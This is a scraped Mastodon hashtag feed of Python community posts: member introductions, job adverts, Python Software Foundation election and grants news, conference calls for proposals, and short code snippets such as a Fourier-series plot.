#Processing
#AI
#Computing
#ComputingEducation
#SoundEngineering
#MusicProduction
#Music
#Comedy
#Standup
#French
#London
@psypherpunk@hachyderm.io
Yes, an #introduction. Quite.
Presently an Engineering Manager, formerly a Data Engineer, Software Engineer, Web Archiving Engineer...I've been doing a disservice to the title of "Engineer" for a couple of decades, it seems.
I'm enthusiastic about #Python, #Rust and tech. generally with an overt fondness for infosec. and the occasional #CTF.
I use the phrase #HackThePlanet far too often and in a wholly non-ironic way.
I listen to music my wife describes as "shouty".
@james@jamesgallagher.social
Updated Python awhile back on this machine and didn't rerun a bunch of scripts until today. The joys of new warnings and errors along with packages not installed in the new venv. Warnings and errors were down to my laziness e.g. leaving “\s” in regex strings leading to Python going “that's not one of my escape sequences” #Python #BadProgrammer
@MR_E@infosec.exchange
👋 I'm excited to finally say hello to all you amazing folks of the #Fediverse 🌐 with my #Introduction post! Calling the southeastern U.S. home, my life is a vibrant mix of #graphicdesign, #3dprinting, #3Dmodeling, and delving into the fascinating intricacies of technology. I'm in the thick of my graduate studies in #cybersecurity leadership, focusing on integrating cybersecurity with product management processes for more resilient software and services.
I passionately believe that breaking down the cybersecurity silo in organizations means leveraging #userexperience concepts, making cybersecurity practical and understandable for every role.
I'm a sponge for knowledge, and I'm building my tech understanding in #python, #networking, cloud, and machine learning concepts. I'll be the first to admit I have much to learn.
Reading is my haven 📖 - you'll find me lost in the spellbinding worlds of #NealStephenson, #WilliamGibson, the Dune series, and The Expanse 🚀. I also have a soft spot for #InfoSec books like 'The Cuckoo's Egg,' 'Spam Nation,' and 'Sandworm.' I'm always on the lookout for new recommendations! 📚
As an out #nonbinary individual, I'm committed to building inclusion around gender and feminist issues. I aim to help dismantle "male defaults" and foster more equitable work and community environments for a better future for everyone.
The camaraderie and shared learning in the #Fediverse echo the Linux User Groups and Hackerspaces culture I cherish. It's an absolute joy to be a part of a community that upholds these principles.
If you love dissecting the latest in #tech, exploring #opensource software, or immersing yourself in a gripping #scifi or #cybersecurity book, let's connect! Follow me and drop a comment about your favorite tech trend, current read, fediverse tip, or your efforts toward a more inclusive tech community. Can't wait to hear from you!
I'm eager to learn, share, and grow with you all.
@rochacbruno@social.rochacbruno.com
All I need to be productive every day.
- Any editor with decent syntax highlighting
- Terminal
- pdb
extra: Solarized Light Theme
@mikeymikey@hachyderm.io
#introduction time - ahoy, I'm a fruitco eng, (formerly Dropboxer and repenting FBer) focused on all things non-consumer (❤️ #macOS and #Mac ❤️)
My github gists are full of horrible hacks and I've written ObjC bridging code in at least 5 or 6 languages at this point. And if you don't stop me, I'll friggin' do it again. I know more about #python, ctypes, and #pyobjc than is legally allowed.
I inhale #scifi and books. I have no shelf control. Pets outnumber humans 5 to 1 in this household. Say hi
@treyhunner@mastodon.social
In #Python, I tend to avoid map, filter, and reduce.
Why?
The map & filter functions predate Python's comprehension syntax, which I see as an alternative to map & filter that's often much more readable as well.
And reduce can often be replaced by a reduction function.
Instead of this:
single_word_names = list(map(str.lower, filter(lambda name: " " not in name, names)))
I'd prefer this:
single_word_names = [
name.lower()
for name in names
if " " not in names
]
(1/4) 🧵
@kirch@tilde.zone
I am a human, I can sign something for you from https://keybase.io/jkirchartz if you'd like
Here is a list of my interests, in no particular order.
#art #history #retro #music #pocketmusic #gameboy #android #chiptunes #bots #ML #AI #guitar #mandolin #busking #streetphotography #streetart #stickerart #magic #webdesign #webdevelopment #uspolitics #dsa #zen #scifi #php #bash #python #javascript #node #automation #discordia #education
@statsrhian@fosstodon.org
Exciting opportunity 🚀
We're helping to build the future of open source data science in health and social care at the Strategy Unit, and we need you to help us.
- Data Scientist (Band 7/8A) https://www.jobs.nhs.uk/candidate/jobadvert/I9877-24-0163
- Lead Data Scientist (Band 8B) https://www.jobs.nhs.uk/candidate/jobadvert/I9877-24-0161
Expect lots of #RStats & #Python fun, contributing to national healthcare projects on team who values open-source and best practices. 💙
Birmingham-based (hybrid / UK remote). Closes August 26th
Happy to chat 😊
@mobiuscog@fosstodon.org
Okay #python people - I know there are lots of you on fosstodon.
I’ve worked with Python professionally a few years back, and on my own projects occasionally, but now I’m wanting to get back to a true ‘flow’ state with the latest and greatest (ignoring packaging, as that’s always a mess).
Any suggestions as to where best to catch myself up, and see what I’ve missed ?
No ‘beginner’ things please, as I’ve been around a long time, but any cool/useful/important things from 3.6 onwards I guess.
@noatamir@chaos.social
"To help some of the newcomers make connections: name 5-7 things that interest you but aren't in your profile, as tags so they are searchable. Then boost this post or repeat its instructions so others know to do the same."
#opensource (esp #python #pydata )
#feminism (esp #trans #inclusion #queer)
#sciencefiction (esp #solarpunk #startrek #bookclub)
#gaming (esp #dnd #ttrpg #boardgames #nintendo #retrogaming)
#cats (esp #catsofmastodon)
#art (esp #illustration #conceptart)
HT: @runoutgroover
@tao@mathstodon.xyz
Had an unwilling flashback to early 2000-s style computing earlier today when I tried to install a package (pycddlib) for #python. Due to some weird dependency bug in the most recent versions of python, this ended up taking two hours of downloading various bits and pieces of software (in no particular order: cython; .NET SDK; gmp; MPIR; VSCode Solution Explorer; vcpkg (attempted, but abandoned); CMake (attempted, but abandoned); MSYS2; a single file longintrepr.h (manually downloaded from a github repo); several unrelated github projects that shared some of the dependencies (but did not ultimately advance the resolution, probably due to the lack of fundamental understanding of what I was actually doing at some stages of the process); and several manual compilations and "make"s, updates of PATH environment variables and reboots), as well as multiple google searches (mostly to stackexchange sites and similar) and consultations with AI, before finally succeeding (after three partial successes in which the immediate error message was resolved, only to encounter a fresh error message). This sort of extremely tedious problem-solving is a task which I will be very happy to see become a thing of the past when personalized AI-empowered digital assistants become commonplace!
@orangesunny@mastodon.social
Do I have any music (or sound in general 😃) lover here that knows #Python and have some free time?#Boost is much appreciated. #libresoftware #opensource #music #homeassistant
@juh@hostsharing.coop
@markwalker@fosstodon.org
Setuptools has finally removed the test command in v72, after 5 years of the depreciation warning.
Now it seems lots of modules are failing because they never did change their test suite.
@pyohio@fosstodon.org
@linuxgal@techhub.social
This little digression in #Python shows how the partial sum of a Fourier series converges toward a square wave as terms are added. #X7
#!/usr/bin/python3
from matplotlib import pyplot as plt
import numpy as np
x=np.arange(0,2*np.pi,.01)
y1=np.sin(x)
y2=np.sin(x)+np.sin(3*x)/3
y3=np.sin(x)+np.sin(3*x)/3+np.sin(x*5)/5
y4=np.sin(x)+np.sin(3*x)/3+np.sin(x*5)/5+np.sin(x*7)/7
y5=np.sin(x)+np.sin(3*x)/3+np.sin(x*5)/5+np.sin(x*7)/7+np.sin(x*9)/9
plt.plot(y1)
plt.plot(y2,color='green')
plt.plot(y3,color='yellow')
plt.plot(y4,color='orange')
plt.plot(y5,color='red')
plt.show()
@kushal@toots.dgplug.org
I wrote about #MFA #2FA #FIDO2 #authentication on #django applications. https://kushaldas.in/posts/multi-factor-authentication-in-django.html #python #security
@mdione@en.osm.town
Intro:
#python #linux #Sysadmin #developer #bash :sad_face: #sre #security #osm #OpenStreetMap #photography #astrophotography #hiking #bouldering #science enthusiast (most of them) #diy (not much of it) #ebike
Father of two, make my own maps and computer tools, have my own home server, fix as many things as I can myself, love to drive and travel by car but not for the city, and much more.
Mostly boosts, in several languages, including some I can't speak, write or read.
@hugovk@mastodon.social
🐍🔐 Python lockfiles are back!
Read @brettcannon's new PEP 751 – "A file format to list Python dependencies for installation reproducibility":
https://peps.python.org/pep-0751/
Discuss it:
@andy47@aus.social
@cosmonic@mastodon.social
TUTORIAL: Run Python (and any other language) in CNCF wasmCloud. Now WASI 0.2.0 is in the wild, it's the perfect opportunity to walk through the steps we take to run a generic component - using #Python in this example - in wasmCloud. Dive in to this new post from @ericgregory
@wraptile@fosstodon.org
#Deno and #Bun people are putting an incredible amount of work modernizing server side js.
The energy is reminding me of early day #Python - so many new tools made with proper care behind rather than most of NodeJS ecosystem which is just glued together with band-aids and staples :blobcatgrimacing:
That being said, after working with Deno for the past week it still feels a bit too bleeding edge though it does work with #jupyter!
@kidsan@hachyderm.io
I find myself in that uncomfortable situation like many others who work in tech lately, and will be looking at a layoff in the next few months. If anyone is aware of cool jobs in Germany, probably remote-first, working with #Go (or even #rustlang #python #node ) please reach out. I have ~9 years of backend experience and consider myself someone who gets shit done. #fedihire
@nictea@hachyderm.io
New server, time for an updated #introduction post. (formerly NicTea@tech.lgbt)
I'm Nic, based in #Naarm #Melbourne #Australia, and I work as a #webdev (in #Python #Django & #Javascript #React ) & #sysadmin .
Much of the rest of my time is spent playing #rollerderby and doing #photography, along with tinkering with #homeassistant and other #electronics
Figured out I was #trans about a year ago, and it's been a wild ride since.
@hl@social.lol
Now I’ve been here a few weeks, found the fire exits, amenities and snacks, I should probably add an #introduction post.
Hello 👋 I’m Henry, and professionally I do #DataScience and #DataEngineering in the #Aviation industry, mostly with #python and #pyspark
Unprofessionally I spend my time #parenting two children along with my wife and occasionally manage to find time to play #guitar 🎸 improve my use of #emacs and hack at too many half forgotten #maker projects.
@asmodai@mastodon.social
#introduction 2.0
I'm Jeroen from the Netherlands and a problem solver.
Interests:
#bsd #freebsd #unix
#buddhism #folklore #mythology
#cats
#commodore #c64 #amiga #retrocomputing #hardware
#DevOps
#DigiPres #metadata #SemanticWeb
#documentation #TechnicalWriting
#fantasy #SciFi #books
#history
#heraldry #vexillology
#japanese
#linguistics (#ProtoGermanic #ProtoIndoEuropean)
#programming #assembly #c #golang #nim #odinlang #python #rust #zig
#typography
@nicemicro@fosstodon.org
I realize, that while I've been on this platform for a while, I haven't introduced myself, so here it goes.
I'm Nice Micro, scientist (semiconducting materials and semiconductor devices) by day, free software enthusiast, #bash script kiddie, #python wrangler, #Godot waiter and avid gym goer by whatever part of the day I'm not working.
I'm on YouTube with #Linux, #programming and gaming content.
:python: :bash: :linux: :archlinux: :neovim: 🎥
@driscollis@mastodon.social
@ferrata@hachyderm.io
Hey! #introduction on a new server with my favorite tech peeps! My name is Sasha and I am a #developer
a #backenddev reformed to be a #fullstackdeveloper, with experience in #dotnet, #csharp, #javascript, #python, interested in #functional programming
a #slowlearner that ironically has a broad interest in all dev things, but not enough time and energy to get to them all
I believe that #teamequalsproduct and also that #empathy and #kindness are underrated.
More here: https://blog.ferrata.dev/hey-there/
@stylus@social.afront.org
I've named this account after my first AD&D character whose name I can recall. Hoo boy was that long time ago.
Interests inlude: #ttrpg #linux #foss #3dprinting #photography #algorithmicart #python #circuitpython
Languages: English; some French and German
@luftlesen@mstdn.jp
After adding function after function to #Pentis, due to a bug I needed to deeply understand the decorator dataclass in #Python with which (the falling and previewed) Pentominoes are displayed on the screen🤔 I therefore extracted the necessary code step by step. The first result shows an active blue and a preview red Pentominoe only. Next step is to constantly rotate the blue active Pentominoe 🤓
Try Pentis 0.8 beta here:
https://grapefruit256.itch.io/pentis
#gamedev #indie #indiegame
@webology@mastodon.social
🦆 DuckDB may be the tool you didn't know you were missing
@nowosad@fosstodon.org
🔥Major Announcement🔥
We created a new home for all of our resources on reproducible geographic data analysis, modeling, and visualization with open source software!
Visit https://geocompx.org/.
@LilithElina@norden.social
So, eine Englische Vorstellung hab ich, dann fehlt jetzt noch das deutsche #NeuHier.
Während ich auf Englisch Richtung #DataScience und #Python unterwegs bin, geht's im Deutschen eher in den Bereich der #FediEltern und #Verkehrswende. Ich bin viel mit dem #Fahrrad unterwegs - #mdRzA und zur Kita - und möchte mich sicher auf den Straßen bewegen können! Beruflich bin ich sehr interessiert an der #Krankenhausreform, die ist daher auch ab und zu Thema bei mir.
@ThePSF@fosstodon.org
As we continue to work on transparency and improvements to the PSF Grants Program, the PSF Board is pleased to share updates on the program and plans for the future. Learn more on the PSF blog. #python
https://pyfound.blogspot.com/2024/07/psf-board-update-on-improvements-to-psf.html
@pypodcats@fosstodon.org
Sneak peek into our 5th episode of #HiddenFiguresofPython!
Meet Mona Obedoza!
Learn about Mona’s journey. She started learning to code at the age of 5, making video games using Scratch and Python. Even though Mona is still in high school, she is already a frequent public speaker at Python and tech conferences, and is inspiring other kids to code.
Hosts: @georgically & @terezaif
Full episode is coming on July 24, 2024! Subscribe to our podcast now!
@ThePSF@fosstodon.org
We're excited to announce the results of the 2024 election for the PSF Board & Bylaw changes! Thank you to the nominees, our outgoing Board member, and our community for participating this year- we are so grateful to be in community with you 💙💛 #python
https://pyfound.blogspot.com/2024/07/announcing-2024-psf-board-election.html
@astrojuanlu@social.juanlu.space
What modern books do you use to teach basic Python for data science instead of @jakevdp's "Python Data Science Handbook"? https://jakevdp.github.io/PythonDataScienceHandbook/
I used to teach with that book from 2017-2023 but it got quite old already, I'm looking for a fresh perspective (or just an updated version of the book)
@jobsfordevelopers@mastodon.world
Sentry is hiring Senior Software Engineer, Platform
🔧 #golang #python #rust #django #kafka #postgresql #redis #seniorengineer
🌎 Toronto, Canada
⏰ Full-time
🏢 Sentry
Job details https://jobsfordevelopers.com/jobs/senior-software-engineer-platform-at-sentry-io-feb-22-2024-9c4dd4?utm_source=mastodon.world&utm_medium=social&utm_campaign=posting
#jobalert #jobsearch #hiring
@kushal@toots.dgplug.org
@slott56@fosstodon.org
You want the Python Real-World Projects book. Order today.
https://www.packtpub.com/product/python-real-world-projects/9781803246765
@slott56@fosstodon.org
@hynek@mastodon.social
Even though this account is over five years old, this is a start-over, so time for a #introduction!
I’m Hynek from Berlin, and (still) like computers. I strive to have informed and nuanced opinions.
I’m best known in the #Python community, where I wrote many blog posts, gave many conference talks/keynotes, created foundational projects like attrs, argon2-cffi, or structlog, and still help push the ecosystem forward.
🧵
@albertcardona@qoto.org · Reply to Albert Cardona's post
The web-based open source software #CATMAID was devised as "google maps but for volumes". Documentation at https://catmaid.org and source code at https://github.com/catmaid/CATMAID/
Modern #CATMAID enables hundreds of #neuroscience researchers world wide to collaboratively map neuronal circuits in large datasets, e.g., 100 TB or larger, limited only by bandwidth and server-side storage. The goal: to map and analyse a whole brain #connectome.
Running client-side on #javascript and server-side on #django #python #postgresql, it's a pleasure to use–if I may say so–and easy to hack on to extend its functionality with further widgets.
The first minimally viable product was produced in 2007 by Stephan Saalfeld (what we now refer to, dearly, as "Ice Age CATMAID), who demonstrated to us all that the web, and javascript, where the way to go for distributed, collaborative annotation of large datasets accessed piece-wise. See the original paper: https://academic.oup.com/bioinformatics/article-abstract/25/15/1984/210794
See also public instances at the #VirtulaFlyBrain http://virtualflybrain.org/ particularly under "tools - CATMAID - hosted EM data such as this #Drosophila first instar larval volume of its complete nervous system https://l1em.catmaid.virtualflybrain.org/?pid=1&zp=108250&yp=82961.59999999999&xp=54210.799999999996&tool=tracingtool&sid0=1&s0=2.4999999999999996&help=true&layout=h(XY,%20%7B%20type:%20%22neuron-search%22,%20id:%20%22neuron-search-1%22,%20options:%20%7B%22annotation-name%22:%20%22papers%22%7D%7D,%200.6)
@albertcardona@qoto.org
Have you discovered the image processing forum yet? https://forum.image.sc
Featuring tutorials, requests for guidance, help, discussion of new features and documentation for open source software #FijiSc #ImageJ #CellProfiler #DeepLabCut #Icy #ilastik #napari #QuPath #scikitimage #StarDist and many more.
#java #python #kotlin #groovy
@ThePSF@fosstodon.org
The July edition of the PSF Grants Program Office Hour is kicking off shortly 🐍📋 9AM EST, 1PM UTC. Join us if you have any PSF Grant related questions! #python
https://pyfound.blogspot.com/2024/02/introducing-psf-grants-office-hours.html
@hamub@fosstodon.org
@paulox@fosstodon.org · Reply to Paolo Melchiorre's post
@paulox@fosstodon.org · Reply to Paolo Melchiorre's post
@paulox@fosstodon.org
I just voted in the Python Software Foundation Board of Directors election 2024 🗳️
If you are a PSF member, you have until 2PM UTC on Tuesday 16 July 2024 to participate in the vote 🏃
More information on the PSF blog 👇
https://pyfound.blogspot.com/2024/05/psf-board-election-dates-for-2024.html
CC @ThePSF
@kwonhan@fosstodon.org
thanks @ThePSF
for supporting meetup.com for Cebu Python User Group ( PizzaPy ), they can re-construct User Group!
if you have time to visit Cebu, Philippines meet them.
@deshipu@fosstodon.org
I'm a #python programmer by day, and by night I do whatever I am currently obsessed with. My obsessions, in no particular order include:
#wiki software, #gamedev, #keyboards, #robots, #circuitpython, #micropython, #tinwhistle, #ocarina, #drawing, #webdesign, #typography, #visualdesign, #industrialdesign, #electronics, #boardgames, #minipainting, #usability, #handhelds, #rcheli, #roguelike
@real_jamescain@techhub.social
Hi, I’m James and this is my #introduction.
I'm originally from a rural town in middle Missouri but now call #SaintLouis my home. I have a love for the American southwest (my Mom is from New Mexico) and for the coastal city of #Savannah #Georgia.
I'm single, live alone with two #dachshunds (#dogs) named Amelia and Penelope. I'm a #progressive #liberal, can't stand money in #politics, and yearn for a day when the #Democrats improve their messaging and start fighting back.
What I'm into: #Photography, #Cooking, #Grilling, #StarWars, #StarTrek, #80sMovies, #JurassicPark, #Marvel, #dinosaurs, #computers, #gadgets, #VBA, #Python, #MSExcel, #art, #archaeology, #history, #3DPrinting, #philosophy, #news, and you'll find I'm a bit of an all-around nerd.
I’m also #diabetic, suffer from #anxiety, #depression, and #panicattacks. Forgive me in advance if I reach out.
I'm sarcastic as all get out but I have a big heart, that's easily broken when I see people (or animals) hurting.
@pyconza@fosstodon.org
We're a South African #Python :python: conference organised by the community for the community. https://za.pycon.org/
#PyConZA2024 🐍 is happening in Cape Town and online on the 3rd & 4th of October (with tutorials scheduled on the 2nd, and sprints on the 5th & 6th).
Talk submissions are open! 📢 https://za.pycon.org/news/call-for-submissions/
So are ticket sales! 🎟 https://za.pycon.org/tickets/buy-tickets/ We explain the different ticket types here: https://za.pycon.org/tickets/ticket-prices/
We'd love to see you there, whether in person or virtually!
@paulox@fosstodon.org
I'm Paolo Melchiorre, aka #paulox, hiker, swimmer, reader, traveler, living in #Pescara 🏖️
#ComputerEngineer graduated from the #University of #Bologna 🎓
#Python developer, member of #PythonItalia and #PSF 🐍
#Django contributor, #DSF member, and #DjangoGirls organizer and coach 🦄
Organizer of #PythonPescara #meetup and co-organizer of the #PyConItalia #conference 🇮🇹
Conference #speaker, at #PyCon, #DjangoCon, #EuroPython etc 🗣️
#GNU #Linux user and #FreeSoftware advocate 🥑
#Pelican blogger 🐦
@oliphant@techhub.social
I wrote up a #python project last night that uses the #openai API to analyze my #chatgpt conversations, which I downloaded, with the goal of extracting reusable prompts. Check it out here: https://github.com/JoshuaOliphant/chickadee
@Yhg1s@social.coop
Here's a post that took us (the Python Steering Council) a little longer than we wanted to, responding to a discussion from a few weeks ago: https://discuss.python.org/t/inclusive-communications-expectations-in-python-spaces/57950
This stuff matters. We have a moral obligation, as well as a practical need, to be as open, welcoming and inclusive as we can be. It's existential to the longevity of Python. Inclusivity is in the eye of the beholder, and so we _have_ to listen to feedback from everyone.
@pyconau@mastodon.pycon.org.au
😱 Wait, wait, wait! The CFP application date is already next Sunday!
From development and frameworks to APIs and all things data. First-time speaker or seasoned expert! Professional or student!
You have to apply now and share your knowledge with the world!
@treyhunner@mastodon.social
Time for another #introduction I think 🤔
My name is Trey. 👋 I help developers sharpen their Python skills. I mostly teach core #Python, #Django, and #pytest. 🐍
I run a Python team training company and made PythonMorsels.com to help individuals and small teams level-up their skills.
I love #audiobooks, I'm into #vegetarian/#vegan cooking, I'm interested in Python on #WebAssembly, & I'm a #YIMBY. I've also acquired a habit of posting daily-ish #projects on Mastodon (thanks @simon).
@lilyf@fosstodon.org
I'm looking for a new role. I've been working professionally with #python for 12 years. For the past year and a half I've also been working with #rust.
In open source, I've contributed multiple headline features to #django and I'm a maintainer of #pyo3.
I'm based in the UK and I'm comfortable with remote work or hybrid.
My ideal role would involve both Python and Rust. I'm open to considering other roles too.
@JoshFoxleyTalent@fosstodon.org
Final Summer Django Social is booked before an August break and I am hoping for good weather.
This is for families and friends as well as our Django community. I will be bringing my wife and twins to play along as well.
I really hope this is an inclusive social and we can have a record attendance. It's a picnic next to the park with some football rounders.
I hope to see you there: https://www.meetup.com/djangosocial-uk/events/302134914/?utm_medium=referral&utm_campaign=share-btn_savedevents_share_modal&utm_source=link
@hugovk@mastodon.social
🐍🧪 Python 3.13.0 is due out in October 2024 and work is underway to implement *experimental support* for PEP 703 "Making the Global Interpreter Lock Optional in CPython".
As the Steering Council noted in their acceptance of the PEP, to succeed it's important to have community support.
I wrote a little guide on how you can help test out the beta in your project, and help us find bugs in CPython:
https://dev.to/hugovk/help-us-test-free-threaded-python-without-the-gil-1hgf
#python #CPython #python313 #PEP703 #FreeThreaded
#JustDontCallItNoGIL
@hugovk@mastodon.social
📣🐍📚 Calling all Python library maintainers!
Python 3.13 is now in beta, with the second of four beta releases out later today!
It's now time to start testing your libraries with 3.13 and report any problems back to CPython so they can be fixed before the big October release. And make any updates you need to upgrade your library; keep an eye out for removals and deprecations.
Here's how to test 3.13 on GitHub Actions:
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
At 20:26 this evening I published PEP 2026 to propose Python adopts calendar versioning!
https://peps.python.org/pep-2026/
This means that starting with the 2026 release, the version will be 3.YY.micro; Python 3.15 will cease to be, and will instead be Python 3.26.
Discuss:
https://discuss.python.org/t/pep-2026-calendar-versioning-for-python/55782
Read @sethmlarson's blogpost of my Language Summit talk:
https://pyfound.blogspot.com/2024/06/python-language-summit-2024-should-python-adopt-calver.html
#PEP2026 #Python #PyConUS #PyCon #CalVer #CalendarVersioning #LanguageSummit
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Here are my slides from the Language Summit:
Should Python adopt CalVer?
https://hugovk.github.io/python-calver/
#PyConUS #PyCon #Python #CalVer #CalendarVersioning #LanguageSummit
@hugovk@mastodon.social
I just kicked off PyCon 2024 with the first talk of the Language Summit (and my first talk at PyCon!): "Should Python adopt CalVer?" It was an interesting discussion, let's see!
#PyConUS #PyCon #Python #CalVer #CalendarVersioning #LanguageSummit
@ThePSF@fosstodon.org
Want to learn more about this year's candidates for the PSF Board? Check out this YouTube playlist to get to know the nominees 🤩 #python
https://youtube.com/playlist?list=PLFIcqSiijitiWwVBFEll4EsP_VlEpunOe&si=vywCMrsTMe3TuEM3
@mexorcist@dmv.community
The #introduction.
I'm a 50-something dad of 2 boys who play some combination of #baseball, #football, #basketball and #lacrosse. I've been married 18 years, living in #Virginia since 1997. We have a German Shepherd mix rescue; she is the best girl.
I work in #IT #cybersecurity #marketing #python and other stuff. Been at the same company since 1997. It's a great place to work.
#Sports: Unfortunate #Caps fan #nhl. Favor the #Orioles over the #Nationals. I try to follow #F1 but cannot stand Verstappen. Since the older son plays, we find ourselves watching the #Commanders more often. They are terrible.
#Music lover of #metal #deathmetal #blackmetal #punk #rock #industrial #numetal #metalcore. I love #horror #movies, amateur #birdwatching, and also beers.
@mgorny@treehouse.systems
Since I'm moving here from Fosstodon, I suppose it's a good opportunity for a re-#introduction.
My name's Michał Górny. You may know me as a Gentoo developer, though my social media usage extended beyond that.
I've joined #Gentoo in 2010, back when I was still a student. You could say that we've both matured together, perhaps became less bleeding edge and more stable. There are some things that I'm still doing all these years later, notably the maintenance of #Python ecosystem in Gentoo (which is superior to other distributions, I must say), #LLVM, #XFCE and some other random packages, building Distribution Kernels. I also create #OpenSource software (mostly tools related to Gentoo package management), work in QA, and either do or have done a lot of random stuff that simply needed to be done.
Professionally, I used to be a programmer. However, I quit my last job in 2022 due to health breakdown and haven't managed to find a good job so far. Right now, I'm mostly surviving on what I've managed to save years ago, with some help from my gracious sponsors (thank you for your donations!). I've started a new job recently, though onboarding is taking quite long and it's not yet clear if I'll manage to actually make any profit.
I am very #introvert. I always enjoyed #hiking and fast walks around #nature, and since I've been diagnosed with #diabetes in 2022, this changed from just a pastime to a necessary exercise. That said, I don't like repeating the same routes too often, so I go around by #rail. My main interchange stations are #Poznań, #Leszno, #Głogów and #Wrocław.
A few years ago I adopted three stray #cat siblings: Blackie (or Lulu), Ruh and Mr. Gray (or Mr. Ek!). They are going to cyclically appear in my avatars and profile backgrounds. That said, they made me realize I'm actually a cat, and a big cat too (that's why the "territory" I keep patrolling has roughly 200 km radius).
I hate #politics and I'm quite angry that I am forced to take interest in it. I'm a strong believer in the #CarFree ideology (I don't even have a driver's license). I will sometimes rant in the #AntiCapitalism mood, with a sprinkle of #ecology and #degrowth in the face of #ClimateCrisis.
I enjoy reading #books (fiction and non-fiction alike), watching #movies or #series (though I usually don't manage more than 30 minutes at a time) or playing computer #games (preferably slower, older, single-player games these days).
I generally toot simultaneously in english and polish (except for word plays that don't make sense in the other language). My polish account is: https://pol.social/@mgorny
@whizkidz@mastodon.social
Check out the awesome online #coding platform at https://codepad.site. It's FREE! There's support for #HTML / #CSS / #JavaScript, #PHP, #Java and #Python.
@whizkidz@mastodon.social
If you know little or nothing about #coding but want to learn, then check out https://whizkidzcc.com/summer. We've turned students that didn't think they could code to not only become proficient but to actually enjoy programming.
We offer one-week online workshops on #Python, #Java, #Web, #AI / #machinelearning, and more! These classes are taught by trained instructors. It is project-based and very hands-on. Use the coupon code "mastnew" for $100 off for first-time customers!
@ml@social.mitexleo.one
@user8e8f87c@berlin.social
Kennt sich hier jemand mit WebScraping aus?
Ich will alle Elemente von dieser Seite bekommen, dafür muss man ein paar mal den Button unten drücken. Ich versuche es mit #Python und cfscraper/requests und #BeautifulSoup, aber ich bekomme die richtige POST-Anfrage nicht hin.
Jemand Ideen?
Hier ist die Seite: https://www.neubaukompass.de/neubau-immobilien/berlin-region/
@hn50@social.lansky.name
Summary of Major Changes Between Python Versions
Link: https://www.nicholashairs.com/posts/major-changes-between-python-versions/
Discussion: https://news.ycombinator.com/item?id=40889428
@python_discussions@mastodon.social
Summary of major Python changes between versions
https://www.nicholashairs.com/posts/major-changes-between-python-versions/
Discussions: https://discu.eu/q/https://www.nicholashairs.com/posts/major-changes-between-python-versions/
@mattcen@aus.social
:boost_requested: #GetFediHired #Jobs #SysAdmin #Python #FOSS #FLOSS
Hey #FediHired, I'm on a #JobSearch. I'm a #Linux systems engineer and #Python developer with 15+ years' experience, based in #Melbourne, Australia. I have a high attention to detail & lots of experience working with people (15+ years community organising/Scout leading). Motivating values: free/ #OpenSource software, accessibility, diversity, equity, inclusion, privacy, and security, analysing/improving/automating systems/processes. Recent personal projects involve #Docker, #Django, #Ansible.
Ideally seek remote role with communicative/cohesive team, variety, flexible hours, ideally max 4 days/week.
LinkedIn: https://www.linkedin.com/in/mattcen/
Resume: https://blog.mattcen.com/resume/
@astraluma@tacobelllabs.net
@mthv@fosstodon.org
👋 Hi all ! I am a research engineer at CNRS 🇫🇷, working at the UAR RIATE on the development of applications or libraries for the visualization or the processing of geographic information.
I did my PhD in Grenoble 🏔️🚁 about Semantic Web and geovisualisation.
I love #foss, #python, #rust, #JSspatial, #osm, #dataviz, #qgis and #gis in general.
Also maintainer of https://magrit.cnrs.fr 🗺️ (thematic cartography tool).
@ubernostrum@infosec.exchange
A belated #introduction:
I'm James (he/him).
If you knew me prior to appearing over here on Mastodon, it was probably because of something related to #Python and #Django. I've served in a lot of roles within the Django project, though a couple years ago I stepped down from everything except the security team, where I still occasionally can weigh in with some institutional knowledge or bits of Unicode arcana.
A quick biographical sketch:
For a variety of mostly-economic reasons, I didn't have reliable access to the internet or even a PC until I went to college. I did a degree in philosophy, and have never taken a formal Computer Science or Software Engineering (or other "related field") course in my life. I got into web dev sort of by accident in the early 2000s, and almost didn't make it -- I was struggling to make ends meet freelancing, and only managed to stick around because I effectively won the lottery: I got interested in Django pretty quickly after it was open-sourced, and about six months later I was hired by the little newspaper company in Kansas where it was originally developed. I owe my entire subsequent career and success to a combination of privilege (I'm a white dude who could pass for middle-class, so a lot of doors opened, or opened more easily, for me) and that lucky break.
I believe tech hiring and interviewing are awful, and have worked to improve them both indirectly through writing/speaking about them, and directly at various employers over the years. I have no patience for gatekeepers, "your language/library/framework sucks" zealots, "brilliant assholes" and other assorted malefactors.
My politics are progressive but NOT populist, and that is an important distinction, because a lot of allegedly "progressive" causes and people... aren't.
I like baseball. I'm pretty bad at chess but enjoy it anyway. I read a lot, sometimes new things, sometimes old favorites. I like to cook.
I'm still figuring out what parts of myself I want to put into this account and what I want to get out of it.
@Alastair@mastodon.me.uk
Yes #python
@jscholes@dragonscave.space
Ouch. The voting page for the #Python Software Foundation (#PSF) Board of Directors 2024 Election is completely inaccessible with a keyboard.
It's hosted by OpaVote, which is presumably a third party. None of the director candidate checkboxes or bylaw change radio buttons can be navigated to, nor can their state be determined with a #screenReader to make sure I'm voting for the intended things. #accessibility
@kushal@toots.dgplug.org
Py introduced our next speaker ntoll in #pyconse #python #community #stockholm
@brettcannon@fosstodon.org
Since it seems to be the #mastodon tradition ...
I live in #Vancouver , #canada (on unceded territory; https://vancouver.ca/people-programs/land-acknowledgement.aspx).
I am a core developer on the #python programming language (19 years and counting).
Spare time is:
- #opensource (https://github.com/brettcannon/ , https://snarky.ca/)
- #movies (https://letterboxd.com/nothingbutsnark/)
- #tv shows (https://trakt.tv/users/brettcannon)
- #gaming (mostly Destiny 2 and Marvel Snap ATM)
@raiderrobert@mastodon.social
Top 5 people for #python by followers:
@mkennedy, Michael Kennedy with 4.1k
@glyph, Glyph with 4k
@brettcannon, Brett Cannon with 3k
@pamelafox, Pamela Fox with 3k
@kushal, Kushal Das with 2.7k
@pyconafrica@mastodon.social
📢📢 Have an interesting proposal? There’s still time! Submit your proposal for #PyConAfrica2024 and present it at one of Africa’s largest Python conferences.
🔗 Submit Your Proposal Here: https://africa.pycon.org/2024/talks/speaking/
Why present at PyCon Africa?
🌍 Diverse audience
🤝 Network with leaders
🚀 Share your ideas
📚 Build your portfolio
Hurry, CFP closes in 5 days!
@ehmatthes@fosstodon.org
The Django from first principles series has been a lot of work to write, but it's been really interesting to dig into.
After implementing most of the blog functionality, the original single file is about 50 lines long. But, it has five very distinct sections:
@ThePSF@fosstodon.org
